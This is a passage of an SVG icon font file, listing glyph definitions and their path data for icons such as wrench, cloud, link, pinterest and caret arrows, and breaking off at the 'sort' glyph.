q2 -2 1.5 -4t-3.5 -4.5t-5.5 -4t-6.5 -3.5l-3 -2q-11 -5 -20.5 6t-13.5 26q-7 25 -16 30q-23 8 -29 -1q-5 13 -41 26q-25 9 -58 4q6 1 0 15q-7 15 -19 12q3 6 4 17.5t1 13.5q3 13 12 23q1 1 7 8.5t9.5 13.5t0.5 6q35 -4 50 11q5 5 11.5 17t10.5 17q9 6 14 5.5t14.5 -5.5
t14.5 -5q14 -1 15.5 11t-7.5 20q12 -1 3 17q-4 7 -8 9q-12 4 -27 -5q-8 -4 2 -8q-1 1 -9.5 -10.5t-16.5 -17.5t-16 5q-1 1 -5.5 13.5t-9.5 13.5q-8 0 -16 -15q3 8 -11 15t-24 8q19 12 -8 27q-7 4 -20.5 5t-19.5 -4q-5 -7 -5.5 -11.5t5 -8t10.5 -5.5t11.5 -4t8.5 -3
q14 -10 8 -14q-2 -1 -8.5 -3.5t-11.5 -4.5t-6 -4q-3 -4 0 -14t-2 -14q-5 5 -9 17.5t-7 16.5q7 -9 -25 -6l-10 1q-4 0 -16 -2t-20.5 -1t-13.5 8q-4 8 0 20q1 4 4 2q-4 3 -11 9.5t-10 8.5q-46 -15 -94 -41q6 -1 12 1q5 2 13 6.5t10 5.5q34 14 42 7l5 5q14 -16 20 -25
q-7 4 -30 1q-20 -6 -22 -12q7 -12 5 -18q-4 3 -11.5 10t-14.5 11t-15 5q-16 0 -22 -1q-146 -80 -235 -222q7 -7 12 -8q4 -1 5 -9t2.5 -11t11.5 3q9 -8 3 -19q1 1 44 -27q19 -17 21 -21q3 -11 -10 -18q-1 2 -9 9t-9 4q-3 -5 0.5 -18.5t10.5 -12.5q-7 0 -9.5 -16t-2.5 -35.5
t-1 -23.5l2 -1q-3 -12 5.5 -34.5t21.5 -19.5q-13 -3 20 -43q6 -8 8 -9q3 -2 12 -7.5t15 -10t10 -10.5q4 -5 10 -22.5t14 -23.5q-2 -6 9.5 -20t10.5 -23q-1 0 -2.5 -1t-2.5 -1q3 -7 15.5 -14t15.5 -13q1 -3 2 -10t3 -11t8 -2q2 20 -24 62q-15 25 -17 29q-3 5 -5.5 15.5
t-4.5 14.5q2 0 6 -1.5t8.5 -3.5t7.5 -4t2 -3q-3 -7 2 -17.5t12 -18.5t17 -19t12 -13q6 -6 14 -19.5t0 -13.5q9 0 20 -10.5t17 -19.5q5 -8 8 -26t5 -24q2 -7 8.5 -13.5t12.5 -9.5l16 -8t13 -7q5 -2 18.5 -10.5t21.5 -11.5q10 -4 16 -4t14.5 2.5t13.5 3.5q15 2 29 -15t21 -21
q36 -19 55 -11q-2 -1 0.5 -7.5t8 -15.5t9 -14.5t5.5 -8.5q5 -6 18 -15t18 -15q6 4 7 9q-3 -8 7 -20t18 -10q14 3 14 32q-31 -15 -49 18q0 1 -2.5 5.5t-4 8.5t-2.5 8.5t0 7.5t5 3q9 0 10 3.5t-2 12.5t-4 13q-1 8 -11 20t-12 15q-5 -9 -16 -8t-16 9q0 -1 -1.5 -5.5t-1.5 -6.5
q-13 0 -15 1q1 3 2.5 17.5t3.5 22.5q1 4 5.5 12t7.5 14.5t4 12.5t-4.5 9.5t-17.5 2.5q-19 -1 -26 -20q-1 -3 -3 -10.5t-5 -11.5t-9 -7q-7 -3 -24 -2t-24 5q-13 8 -22.5 29t-9.5 37q0 10 2.5 26.5t3 25t-5.5 24.5q3 2 9 9.5t10 10.5q2 1 4.5 1.5t4.5 0t4 1.5t3 6q-1 1 -4 3
q-3 3 -4 3q7 -3 28.5 1.5t27.5 -1.5q15 -11 22 2q0 1 -2.5 9.5t-0.5 13.5q5 -27 29 -9q3 -3 15.5 -5t17.5 -5q3 -2 7 -5.5t5.5 -4.5t5 0.5t8.5 6.5q10 -14 12 -24q11 -40 19 -44q7 -3 11 -2t4.5 9.5t0 14t-1.5 12.5l-1 8v18l-1 8q-15 3 -18.5 12t1.5 18.5t15 18.5q1 1 8 3.5
t15.5 6.5t12.5 8q21 19 15 35q7 0 11 9q-1 0 -5 3t-7.5 5t-4.5 2q9 5 2 16q5 3 7.5 11t7.5 10q9 -12 21 -2q8 8 1 16q5 7 20.5 10.5t18.5 9.5q7 -2 8 2t1 12t3 12q4 5 15 9t13 5l17 11q3 4 0 4q18 -2 31 11q10 11 -6 20q3 6 -3 9.5t-15 5.5q3 1 11.5 0.5t10.5 1.5
q15 10 -7 16q-17 5 -43 -12zM879 10q206 36 351 189q-3 3 -12.5 4.5t-12.5 3.5q-18 7 -24 8q1 7 -2.5 13t-8 9t-12.5 8t-11 7q-2 2 -7 6t-7 5.5t-7.5 4.5t-8.5 2t-10 -1l-3 -1q-3 -1 -5.5 -2.5t-5.5 -3t-4 -3t0 -2.5q-21 17 -36 22q-5 1 -11 5.5t-10.5 7t-10 1.5t-11.5 -7
q-5 -5 -6 -15t-2 -13q-7 5 0 17.5t2 18.5q-3 6 -10.5 4.5t-12 -4.5t-11.5 -8.5t-9 -6.5t-8.5 -5.5t-8.5 -7.5q-3 -4 -6 -12t-5 -11q-2 4 -11.5 6.5t-9.5 5.5q2 -10 4 -35t5 -38q7 -31 -12 -48q-27 -25 -29 -40q-4 -22 12 -26q0 -7 -8 -20.5t-7 -21.5q0 -6 2 -16z" />
    <glyph glyph-name="wrench" unicode="&#xf0ad;" horiz-adv-x="1664" 
d="M384 64q0 26 -19 45t-45 19t-45 -19t-19 -45t19 -45t45 -19t45 19t19 45zM1028 484l-682 -682q-37 -37 -90 -37q-52 0 -91 37l-106 108q-38 36 -38 90q0 53 38 91l681 681q39 -98 114.5 -173.5t173.5 -114.5zM1662 919q0 -39 -23 -106q-47 -134 -164.5 -217.5
t-258.5 -83.5q-185 0 -316.5 131.5t-131.5 316.5t131.5 316.5t316.5 131.5q58 0 121.5 -16.5t107.5 -46.5q16 -11 16 -28t-16 -28l-293 -169v-224l193 -107q5 3 79 48.5t135.5 81t70.5 35.5q15 0 23.5 -10t8.5 -25z" />
    <glyph glyph-name="tasks" unicode="&#xf0ae;" horiz-adv-x="1792" 
d="M1024 128h640v128h-640v-128zM640 640h1024v128h-1024v-128zM1280 1152h384v128h-384v-128zM1792 320v-256q0 -26 -19 -45t-45 -19h-1664q-26 0 -45 19t-19 45v256q0 26 19 45t45 19h1664q26 0 45 -19t19 -45zM1792 832v-256q0 -26 -19 -45t-45 -19h-1664q-26 0 -45 19
t-19 45v256q0 26 19 45t45 19h1664q26 0 45 -19t19 -45zM1792 1344v-256q0 -26 -19 -45t-45 -19h-1664q-26 0 -45 19t-19 45v256q0 26 19 45t45 19h1664q26 0 45 -19t19 -45z" />
    <glyph glyph-name="filter" unicode="&#xf0b0;" horiz-adv-x="1408" 
d="M1403 1241q17 -41 -14 -70l-493 -493v-742q0 -42 -39 -59q-13 -5 -25 -5q-27 0 -45 19l-256 256q-19 19 -19 45v486l-493 493q-31 29 -14 70q17 39 59 39h1280q42 0 59 -39z" />
    <glyph glyph-name="briefcase" unicode="&#xf0b1;" horiz-adv-x="1792" 
d="M640 1280h512v128h-512v-128zM1792 640v-480q0 -66 -47 -113t-113 -47h-1472q-66 0 -113 47t-47 113v480h672v-160q0 -26 19 -45t45 -19h320q26 0 45 19t19 45v160h672zM1024 640v-128h-256v128h256zM1792 1120v-384h-1792v384q0 66 47 113t113 47h352v160q0 40 28 68
t68 28h576q40 0 68 -28t28 -68v-160h352q66 0 113 -47t47 -113z" />
    <glyph glyph-name="fullscreen" unicode="&#xf0b2;" 
d="M1283 995l-355 -355l355 -355l144 144q29 31 70 14q39 -17 39 -59v-448q0 -26 -19 -45t-45 -19h-448q-42 0 -59 40q-17 39 14 69l144 144l-355 355l-355 -355l144 -144q31 -30 14 -69q-17 -40 -59 -40h-448q-26 0 -45 19t-19 45v448q0 42 40 59q39 17 69 -14l144 -144
l355 355l-355 355l-144 -144q-19 -19 -45 -19q-12 0 -24 5q-40 17 -40 59v448q0 26 19 45t45 19h448q42 0 59 -40q17 -39 -14 -69l-144 -144l355 -355l355 355l-144 144q-31 30 -14 69q17 40 59 40h448q26 0 45 -19t19 -45v-448q0 -42 -39 -59q-13 -5 -25 -5q-26 0 -45 19z
" />
    <glyph glyph-name="group" unicode="&#xf0c0;" horiz-adv-x="1920" 
d="M593 640q-162 -5 -265 -128h-134q-82 0 -138 40.5t-56 118.5q0 353 124 353q6 0 43.5 -21t97.5 -42.5t119 -21.5q67 0 133 23q-5 -37 -5 -66q0 -139 81 -256zM1664 3q0 -120 -73 -189.5t-194 -69.5h-874q-121 0 -194 69.5t-73 189.5q0 53 3.5 103.5t14 109t26.5 108.5
t43 97.5t62 81t85.5 53.5t111.5 20q10 0 43 -21.5t73 -48t107 -48t135 -21.5t135 21.5t107 48t73 48t43 21.5q61 0 111.5 -20t85.5 -53.5t62 -81t43 -97.5t26.5 -108.5t14 -109t3.5 -103.5zM640 1280q0 -106 -75 -181t-181 -75t-181 75t-75 181t75 181t181 75t181 -75
t75 -181zM1344 896q0 -159 -112.5 -271.5t-271.5 -112.5t-271.5 112.5t-112.5 271.5t112.5 271.5t271.5 112.5t271.5 -112.5t112.5 -271.5zM1920 671q0 -78 -56 -118.5t-138 -40.5h-134q-103 123 -265 128q81 117 81 256q0 29 -5 66q66 -23 133 -23q59 0 119 21.5t97.5 42.5
t43.5 21q124 0 124 -353zM1792 1280q0 -106 -75 -181t-181 -75t-181 75t-75 181t75 181t181 75t181 -75t75 -181z" />
    <glyph glyph-name="link" unicode="&#xf0c1;" horiz-adv-x="1664" 
d="M1456 320q0 40 -28 68l-208 208q-28 28 -68 28q-42 0 -72 -32q3 -3 19 -18.5t21.5 -21.5t15 -19t13 -25.5t3.5 -27.5q0 -40 -28 -68t-68 -28q-15 0 -27.5 3.5t-25.5 13t-19 15t-21.5 21.5t-18.5 19q-33 -31 -33 -73q0 -40 28 -68l206 -207q27 -27 68 -27q40 0 68 26
l147 146q28 28 28 67zM753 1025q0 40 -28 68l-206 207q-28 28 -68 28q-39 0 -68 -27l-147 -146q-28 -28 -28 -67q0 -40 28 -68l208 -208q27 -27 68 -27q42 0 72 31q-3 3 -19 18.5t-21.5 21.5t-15 19t-13 25.5t-3.5 27.5q0 40 28 68t68 28q15 0 27.5 -3.5t25.5 -13t19 -15
t21.5 -21.5t18.5 -19q33 31 33 73zM1648 320q0 -120 -85 -203l-147 -146q-83 -83 -203 -83q-121 0 -204 85l-206 207q-83 83 -83 203q0 123 88 209l-88 88q-86 -88 -208 -88q-120 0 -204 84l-208 208q-84 84 -84 204t85 203l147 146q83 83 203 83q121 0 204 -85l206 -207
q83 -83 83 -203q0 -123 -88 -209l88 -88q86 88 208 88q120 0 204 -84l208 -208q84 -84 84 -204z" />
    <glyph glyph-name="cloud" unicode="&#xf0c2;" horiz-adv-x="1920" 
d="M1920 384q0 -159 -112.5 -271.5t-271.5 -112.5h-1088q-185 0 -316.5 131.5t-131.5 316.5q0 132 71 241.5t187 163.5q-2 28 -2 43q0 212 150 362t362 150q158 0 286.5 -88t187.5 -230q70 62 166 62q106 0 181 -75t75 -181q0 -75 -41 -138q129 -30 213 -134.5t84 -239.5z
" />
    <glyph glyph-name="beaker" unicode="&#xf0c3;" horiz-adv-x="1664" 
d="M1527 88q56 -89 21.5 -152.5t-140.5 -63.5h-1152q-106 0 -140.5 63.5t21.5 152.5l503 793v399h-64q-26 0 -45 19t-19 45t19 45t45 19h512q26 0 45 -19t19 -45t-19 -45t-45 -19h-64v-399zM748 813l-272 -429h712l-272 429l-20 31v37v399h-128v-399v-37z" />
    <glyph glyph-name="cut" unicode="&#xf0c4;" horiz-adv-x="1792" 
d="M960 640q26 0 45 -19t19 -45t-19 -45t-45 -19t-45 19t-19 45t19 45t45 19zM1260 576l507 -398q28 -20 25 -56q-5 -35 -35 -51l-128 -64q-13 -7 -29 -7q-17 0 -31 8l-690 387l-110 -66q-8 -4 -12 -5q14 -49 10 -97q-7 -77 -56 -147.5t-132 -123.5q-132 -84 -277 -84
q-136 0 -222 78q-90 84 -79 207q7 76 56 147t131 124q132 84 278 84q83 0 151 -31q9 13 22 22l122 73l-122 73q-13 9 -22 22q-68 -31 -151 -31q-146 0 -278 84q-82 53 -131 124t-56 147q-5 59 15.5 113t63.5 93q85 79 222 79q145 0 277 -84q83 -52 132 -123t56 -148
q4 -48 -10 -97q4 -1 12 -5l110 -66l690 387q14 8 31 8q16 0 29 -7l128 -64q30 -16 35 -51q3 -36 -25 -56zM579 836q46 42 21 108t-106 117q-92 59 -192 59q-74 0 -113 -36q-46 -42 -21 -108t106 -117q92 -59 192 -59q74 0 113 36zM494 91q81 51 106 117t-21 108
q-39 36 -113 36q-100 0 -192 -59q-81 -51 -106 -117t21 -108q39 -36 113 -36q100 0 192 59zM672 704l96 -58v11q0 36 33 56l14 8l-79 47l-26 -26q-3 -3 -10 -11t-12 -12q-2 -2 -4 -3.5t-3 -2.5zM896 480l96 -32l736 576l-128 64l-768 -431v-113l-160 -96l9 -8q2 -2 7 -6
q4 -4 11 -12t11 -12l26 -26zM1600 64l128 64l-520 408l-177 -138q-2 -3 -13 -7z" />
    <glyph glyph-name="copy" unicode="&#xf0c5;" horiz-adv-x="1792" 
d="M1696 1152q40 0 68 -28t28 -68v-1216q0 -40 -28 -68t-68 -28h-960q-40 0 -68 28t-28 68v288h-544q-40 0 -68 28t-28 68v672q0 40 20 88t48 76l408 408q28 28 76 48t88 20h416q40 0 68 -28t28 -68v-328q68 40 128 40h416zM1152 939l-299 -299h299v299zM512 1323l-299 -299
h299v299zM708 676l316 316v416h-384v-416q0 -40 -28 -68t-68 -28h-416v-640h512v256q0 40 20 88t48 76zM1664 -128v1152h-384v-416q0 -40 -28 -68t-68 -28h-416v-640h896z" />
    <glyph glyph-name="paper_clip" unicode="&#xf0c6;" horiz-adv-x="1408" 
d="M1404 151q0 -117 -79 -196t-196 -79q-135 0 -235 100l-777 776q-113 115 -113 271q0 159 110 270t269 111q158 0 273 -113l605 -606q10 -10 10 -22q0 -16 -30.5 -46.5t-46.5 -30.5q-13 0 -23 10l-606 607q-79 77 -181 77q-106 0 -179 -75t-73 -181q0 -105 76 -181
l776 -777q63 -63 145 -63q64 0 106 42t42 106q0 82 -63 145l-581 581q-26 24 -60 24q-29 0 -48 -19t-19 -48q0 -32 25 -59l410 -410q10 -10 10 -22q0 -16 -31 -47t-47 -31q-12 0 -22 10l-410 410q-63 61 -63 149q0 82 57 139t139 57q88 0 149 -63l581 -581q100 -98 100 -235
z" />
    <glyph glyph-name="save" unicode="&#xf0c7;" 
d="M384 0h768v384h-768v-384zM1280 0h128v896q0 14 -10 38.5t-20 34.5l-281 281q-10 10 -34 20t-39 10v-416q0 -40 -28 -68t-68 -28h-576q-40 0 -68 28t-28 68v416h-128v-1280h128v416q0 40 28 68t68 28h832q40 0 68 -28t28 -68v-416zM896 928v320q0 13 -9.5 22.5t-22.5 9.5
h-192q-13 0 -22.5 -9.5t-9.5 -22.5v-320q0 -13 9.5 -22.5t22.5 -9.5h192q13 0 22.5 9.5t9.5 22.5zM1536 896v-928q0 -40 -28 -68t-68 -28h-1344q-40 0 -68 28t-28 68v1344q0 40 28 68t68 28h928q40 0 88 -20t76 -48l280 -280q28 -28 48 -76t20 -88z" />
    <glyph glyph-name="sign_blank" unicode="&#xf0c8;" 
d="M1536 1120v-960q0 -119 -84.5 -203.5t-203.5 -84.5h-960q-119 0 -203.5 84.5t-84.5 203.5v960q0 119 84.5 203.5t203.5 84.5h960q119 0 203.5 -84.5t84.5 -203.5z" />
    <glyph glyph-name="reorder" unicode="&#xf0c9;" 
d="M1536 192v-128q0 -26 -19 -45t-45 -19h-1408q-26 0 -45 19t-19 45v128q0 26 19 45t45 19h1408q26 0 45 -19t19 -45zM1536 704v-128q0 -26 -19 -45t-45 -19h-1408q-26 0 -45 19t-19 45v128q0 26 19 45t45 19h1408q26 0 45 -19t19 -45zM1536 1216v-128q0 -26 -19 -45
t-45 -19h-1408q-26 0 -45 19t-19 45v128q0 26 19 45t45 19h1408q26 0 45 -19t19 -45z" />
    <glyph glyph-name="ul" unicode="&#xf0ca;" horiz-adv-x="1792" 
d="M384 128q0 -80 -56 -136t-136 -56t-136 56t-56 136t56 136t136 56t136 -56t56 -136zM384 640q0 -80 -56 -136t-136 -56t-136 56t-56 136t56 136t136 56t136 -56t56 -136zM1792 224v-192q0 -13 -9.5 -22.5t-22.5 -9.5h-1216q-13 0 -22.5 9.5t-9.5 22.5v192q0 13 9.5 22.5
t22.5 9.5h1216q13 0 22.5 -9.5t9.5 -22.5zM384 1152q0 -80 -56 -136t-136 -56t-136 56t-56 136t56 136t136 56t136 -56t56 -136zM1792 736v-192q0 -13 -9.5 -22.5t-22.5 -9.5h-1216q-13 0 -22.5 9.5t-9.5 22.5v192q0 13 9.5 22.5t22.5 9.5h1216q13 0 22.5 -9.5t9.5 -22.5z
M1792 1248v-192q0 -13 -9.5 -22.5t-22.5 -9.5h-1216q-13 0 -22.5 9.5t-9.5 22.5v192q0 13 9.5 22.5t22.5 9.5h1216q13 0 22.5 -9.5t9.5 -22.5z" />
    <glyph glyph-name="ol" unicode="&#xf0cb;" horiz-adv-x="1792" 
d="M381 -84q0 -80 -54.5 -126t-135.5 -46q-106 0 -172 66l57 88q49 -45 106 -45q29 0 50.5 14.5t21.5 42.5q0 64 -105 56l-26 56q8 10 32.5 43.5t42.5 54t37 38.5v1q-16 0 -48.5 -1t-48.5 -1v-53h-106v152h333v-88l-95 -115q51 -12 81 -49t30 -88zM383 543v-159h-362
q-6 36 -6 54q0 51 23.5 93t56.5 68t66 47.5t56.5 43.5t23.5 45q0 25 -14.5 38.5t-39.5 13.5q-46 0 -81 -58l-85 59q24 51 71.5 79.5t105.5 28.5q73 0 123 -41.5t50 -112.5q0 -50 -34 -91.5t-75 -64.5t-75.5 -50.5t-35.5 -52.5h127v60h105zM1792 224v-192q0 -13 -9.5 -22.5
t-22.5 -9.5h-1216q-13 0 -22.5 9.5t-9.5 22.5v192q0 14 9 23t23 9h1216q13 0 22.5 -9.5t9.5 -22.5zM384 1123v-99h-335v99h107q0 41 0.5 121.5t0.5 121.5v12h-2q-8 -17 -50 -54l-71 76l136 127h106v-404h108zM1792 736v-192q0 -13 -9.5 -22.5t-22.5 -9.5h-1216
q-13 0 -22.5 9.5t-9.5 22.5v192q0 14 9 23t23 9h1216q13 0 22.5 -9.5t9.5 -22.5zM1792 1248v-192q0 -13 -9.5 -22.5t-22.5 -9.5h-1216q-13 0 -22.5 9.5t-9.5 22.5v192q0 13 9.5 22.5t22.5 9.5h1216q13 0 22.5 -9.5t9.5 -22.5z" />
    <glyph glyph-name="strikethrough" unicode="&#xf0cc;" horiz-adv-x="1792" 
d="M1760 640q14 0 23 -9t9 -23v-64q0 -14 -9 -23t-23 -9h-1728q-14 0 -23 9t-9 23v64q0 14 9 23t23 9h1728zM483 704q-28 35 -51 80q-48 98 -48 188q0 181 134 309q133 127 393 127q50 0 167 -19q66 -12 177 -48q10 -38 21 -118q14 -123 14 -183q0 -18 -5 -45l-12 -3l-84 6
l-14 2q-50 149 -103 205q-88 91 -210 91q-114 0 -182 -59q-67 -58 -67 -146q0 -73 66 -140t279 -129q69 -20 173 -66q58 -28 95 -52h-743zM990 448h411q7 -39 7 -92q0 -111 -41 -212q-23 -56 -71 -104q-37 -35 -109 -81q-80 -48 -153 -66q-80 -21 -203 -21q-114 0 -195 23
l-140 40q-57 16 -72 28q-8 8 -8 22v13q0 108 -2 156q-1 30 0 68l2 37v44l102 2q15 -34 30 -71t22.5 -56t12.5 -27q35 -57 80 -94q43 -36 105 -57q59 -22 132 -22q64 0 139 27q77 26 122 86q47 61 47 129q0 84 -81 157q-34 29 -137 71z" />
    <glyph glyph-name="underline" unicode="&#xf0cd;" 
d="M48 1313q-37 2 -45 4l-3 88q13 1 40 1q60 0 112 -4q132 -7 166 -7q86 0 168 3q116 4 146 5q56 0 86 2l-1 -14l2 -64v-9q-60 -9 -124 -9q-60 0 -79 -25q-13 -14 -13 -132q0 -13 0.5 -32.5t0.5 -25.5l1 -229l14 -280q6 -124 51 -202q35 -59 96 -92q88 -47 177 -47
q104 0 191 28q56 18 99 51q48 36 65 64q36 56 53 114q21 73 21 229q0 79 -3.5 128t-11 122.5t-13.5 159.5l-4 59q-5 67 -24 88q-34 35 -77 34l-100 -2l-14 3l2 86h84l205 -10q76 -3 196 10l18 -2q6 -38 6 -51q0 -7 -4 -31q-45 -12 -84 -13q-73 -11 -79 -17q-15 -15 -15 -41
q0 -7 1.5 -27t1.5 -31q8 -19 22 -396q6 -195 -15 -304q-15 -76 -41 -122q-38 -65 -112 -123q-75 -57 -182 -89q-109 -33 -255 -33q-167 0 -284 46q-119 47 -179 122q-61 76 -83 195q-16 80 -16 237v333q0 188 -17 213q-25 36 -147 39zM1536 -96v64q0 14 -9 23t-23 9h-1472
q-14 0 -23 -9t-9 -23v-64q0 -14 9 -23t23 -9h1472q14 0 23 9t9 23z" />
    <glyph glyph-name="table" unicode="&#xf0ce;" horiz-adv-x="1664" 
d="M512 160v192q0 14 -9 23t-23 9h-320q-14 0 -23 -9t-9 -23v-192q0 -14 9 -23t23 -9h320q14 0 23 9t9 23zM512 544v192q0 14 -9 23t-23 9h-320q-14 0 -23 -9t-9 -23v-192q0 -14 9 -23t23 -9h320q14 0 23 9t9 23zM1024 160v192q0 14 -9 23t-23 9h-320q-14 0 -23 -9t-9 -23
v-192q0 -14 9 -23t23 -9h320q14 0 23 9t9 23zM512 928v192q0 14 -9 23t-23 9h-320q-14 0 -23 -9t-9 -23v-192q0 -14 9 -23t23 -9h320q14 0 23 9t9 23zM1024 544v192q0 14 -9 23t-23 9h-320q-14 0 -23 -9t-9 -23v-192q0 -14 9 -23t23 -9h320q14 0 23 9t9 23zM1536 160v192
q0 14 -9 23t-23 9h-320q-14 0 -23 -9t-9 -23v-192q0 -14 9 -23t23 -9h320q14 0 23 9t9 23zM1024 928v192q0 14 -9 23t-23 9h-320q-14 0 -23 -9t-9 -23v-192q0 -14 9 -23t23 -9h320q14 0 23 9t9 23zM1536 544v192q0 14 -9 23t-23 9h-320q-14 0 -23 -9t-9 -23v-192
q0 -14 9 -23t23 -9h320q14 0 23 9t9 23zM1536 928v192q0 14 -9 23t-23 9h-320q-14 0 -23 -9t-9 -23v-192q0 -14 9 -23t23 -9h320q14 0 23 9t9 23zM1664 1248v-1088q0 -66 -47 -113t-113 -47h-1344q-66 0 -113 47t-47 113v1088q0 66 47 113t113 47h1344q66 0 113 -47t47 -113
z" />
    <glyph glyph-name="magic" unicode="&#xf0d0;" horiz-adv-x="1664" 
d="M1190 955l293 293l-107 107l-293 -293zM1637 1248q0 -27 -18 -45l-1286 -1286q-18 -18 -45 -18t-45 18l-198 198q-18 18 -18 45t18 45l1286 1286q18 18 45 18t45 -18l198 -198q18 -18 18 -45zM286 1438l98 -30l-98 -30l-30 -98l-30 98l-98 30l98 30l30 98zM636 1276
l196 -60l-196 -60l-60 -196l-60 196l-196 60l196 60l60 196zM1566 798l98 -30l-98 -30l-30 -98l-30 98l-98 30l98 30l30 98zM926 1438l98 -30l-98 -30l-30 -98l-30 98l-98 30l98 30l30 98z" />
    <glyph glyph-name="truck" unicode="&#xf0d1;" horiz-adv-x="1792" 
d="M640 128q0 52 -38 90t-90 38t-90 -38t-38 -90t38 -90t90 -38t90 38t38 90zM256 640h384v256h-158q-13 0 -22 -9l-195 -195q-9 -9 -9 -22v-30zM1536 128q0 52 -38 90t-90 38t-90 -38t-38 -90t38 -90t90 -38t90 38t38 90zM1792 1216v-1024q0 -15 -4 -26.5t-13.5 -18.5
t-16.5 -11.5t-23.5 -6t-22.5 -2t-25.5 0t-22.5 0.5q0 -106 -75 -181t-181 -75t-181 75t-75 181h-384q0 -106 -75 -181t-181 -75t-181 75t-75 181h-64q-3 0 -22.5 -0.5t-25.5 0t-22.5 2t-23.5 6t-16.5 11.5t-13.5 18.5t-4 26.5q0 26 19 45t45 19v320q0 8 -0.5 35t0 38
t2.5 34.5t6.5 37t14 30.5t22.5 30l198 198q19 19 50.5 32t58.5 13h160v192q0 26 19 45t45 19h1024q26 0 45 -19t19 -45z" />
    <glyph glyph-name="pinterest" unicode="&#xf0d2;" 
d="M1536 640q0 -209 -103 -385.5t-279.5 -279.5t-385.5 -103q-111 0 -218 32q59 93 78 164q9 34 54 211q20 -39 73 -67.5t114 -28.5q121 0 216 68.5t147 188.5t52 270q0 114 -59.5 214t-172.5 163t-255 63q-105 0 -196 -29t-154.5 -77t-109 -110.5t-67 -129.5t-21.5 -134
q0 -104 40 -183t117 -111q30 -12 38 20q2 7 8 31t8 30q6 23 -11 43q-51 61 -51 151q0 151 104.5 259.5t273.5 108.5q151 0 235.5 -82t84.5 -213q0 -170 -68.5 -289t-175.5 -119q-61 0 -98 43.5t-23 104.5q8 35 26.5 93.5t30 103t11.5 75.5q0 50 -27 83t-77 33
q-62 0 -105 -57t-43 -142q0 -73 25 -122l-99 -418q-17 -70 -13 -177q-206 91 -333 281t-127 423q0 209 103 385.5t279.5 279.5t385.5 103t385.5 -103t279.5 -279.5t103 -385.5z" />
    <glyph glyph-name="pinterest_sign" unicode="&#xf0d3;" 
d="M1248 1408q119 0 203.5 -84.5t84.5 -203.5v-960q0 -119 -84.5 -203.5t-203.5 -84.5h-725q85 122 108 210q9 34 53 209q21 -39 73.5 -67t112.5 -28q181 0 295.5 147.5t114.5 373.5q0 84 -35 162.5t-96.5 139t-152.5 97t-197 36.5q-104 0 -194.5 -28.5t-153 -76.5
t-107.5 -109.5t-66.5 -128t-21.5 -132.5q0 -102 39.5 -180t116.5 -110q13 -5 23.5 0t14.5 19q10 44 15 61q6 23 -11 42q-50 62 -50 150q0 150 103.5 256.5t270.5 106.5q149 0 232.5 -81t83.5 -210q0 -168 -67.5 -286t-173.5 -118q-60 0 -97 43.5t-23 103.5q8 34 26.5 92.5
t29.5 102t11 74.5q0 49 -26.5 81.5t-75.5 32.5q-61 0 -103.5 -56.5t-42.5 -139.5q0 -72 24 -121l-98 -414q-24 -100 -7 -254h-183q-119 0 -203.5 84.5t-84.5 203.5v960q0 119 84.5 203.5t203.5 84.5h960z" />
    <glyph glyph-name="google_plus_sign" unicode="&#xf0d4;" 
d="M917 631q0 26 -6 64h-362v-132h217q-3 -24 -16.5 -50t-37.5 -53t-66.5 -44.5t-96.5 -17.5q-99 0 -169 71t-70 171t70 171t169 71q92 0 153 -59l104 101q-108 100 -257 100q-160 0 -272 -112.5t-112 -271.5t112 -271.5t272 -112.5q165 0 266.5 105t101.5 270zM1262 585
h109v110h-109v110h-110v-110h-110v-110h110v-110h110v110zM1536 1120v-960q0 -119 -84.5 -203.5t-203.5 -84.5h-960q-119 0 -203.5 84.5t-84.5 203.5v960q0 119 84.5 203.5t203.5 84.5h960q119 0 203.5 -84.5t84.5 -203.5z" />
    <glyph glyph-name="google_plus" unicode="&#xf0d5;" horiz-adv-x="2304" 
d="M1437 623q0 -208 -87 -370.5t-248 -254t-369 -91.5q-149 0 -285 58t-234 156t-156 234t-58 285t58 285t156 234t234 156t285 58q286 0 491 -192l-199 -191q-117 113 -292 113q-123 0 -227.5 -62t-165.5 -168.5t-61 -232.5t61 -232.5t165.5 -168.5t227.5 -62
q83 0 152.5 23t114.5 57.5t78.5 78.5t49 83t21.5 74h-416v252h692q12 -63 12 -122zM2304 745v-210h-209v-209h-210v209h-209v210h209v209h210v-209h209z" />
    <glyph glyph-name="money" unicode="&#xf0d6;" horiz-adv-x="1920" 
d="M768 384h384v96h-128v448h-114l-148 -137l77 -80q42 37 55 57h2v-288h-128v-96zM1280 640q0 -70 -21 -142t-59.5 -134t-101.5 -101t-138 -39t-138 39t-101.5 101t-59.5 134t-21 142t21 142t59.5 134t101.5 101t138 39t138 -39t101.5 -101t59.5 -134t21 -142zM1792 384
v512q-106 0 -181 75t-75 181h-1152q0 -106 -75 -181t-181 -75v-512q106 0 181 -75t75 -181h1152q0 106 75 181t181 75zM1920 1216v-1152q0 -26 -19 -45t-45 -19h-1792q-26 0 -45 19t-19 45v1152q0 26 19 45t45 19h1792q26 0 45 -19t19 -45z" />
    <glyph glyph-name="caret_down" unicode="&#xf0d7;" horiz-adv-x="1024" 
d="M1024 832q0 -26 -19 -45l-448 -448q-19 -19 -45 -19t-45 19l-448 448q-19 19 -19 45t19 45t45 19h896q26 0 45 -19t19 -45z" />
    <glyph glyph-name="caret_up" unicode="&#xf0d8;" horiz-adv-x="1024" 
d="M1024 320q0 -26 -19 -45t-45 -19h-896q-26 0 -45 19t-19 45t19 45l448 448q19 19 45 19t45 -19l448 -448q19 -19 19 -45z" />
    <glyph glyph-name="caret_left" unicode="&#xf0d9;" horiz-adv-x="640" 
d="M640 1088v-896q0 -26 -19 -45t-45 -19t-45 19l-448 448q-19 19 -19 45t19 45l448 448q19 19 45 19t45 -19t19 -45z" />
    <glyph glyph-name="caret_right" unicode="&#xf0da;" horiz-adv-x="640" 
d="M576 640q0 -26 -19 -45l-448 -448q-19 -19 -45 -19t-45 19t-19 45v896q0 26 19 45t45 19t45 -19l448 -448q19 -19 19 -45z" />
    <glyph glyph-name="columns" unicode="&#xf0db;" horiz-adv-x="1664" 
d="M160 0h608v1152h-640v-1120q0 -13 9.5 -22.5t22.5 -9.5zM1536 32v1120h-640v-1152h608q13 0 22.5 9.5t9.5 22.5zM1664 1248v-1216q0 -66 -47 -113t-113 -47h-1344q-66 0 -113 47t-47 113v1216q0 66 47 113t113 47h1344q66 0 113 -47t47 -113z" />
    <glyph glyph-name="sort" unicode="&#xf0dc;" horiz-adv-x="1024" 
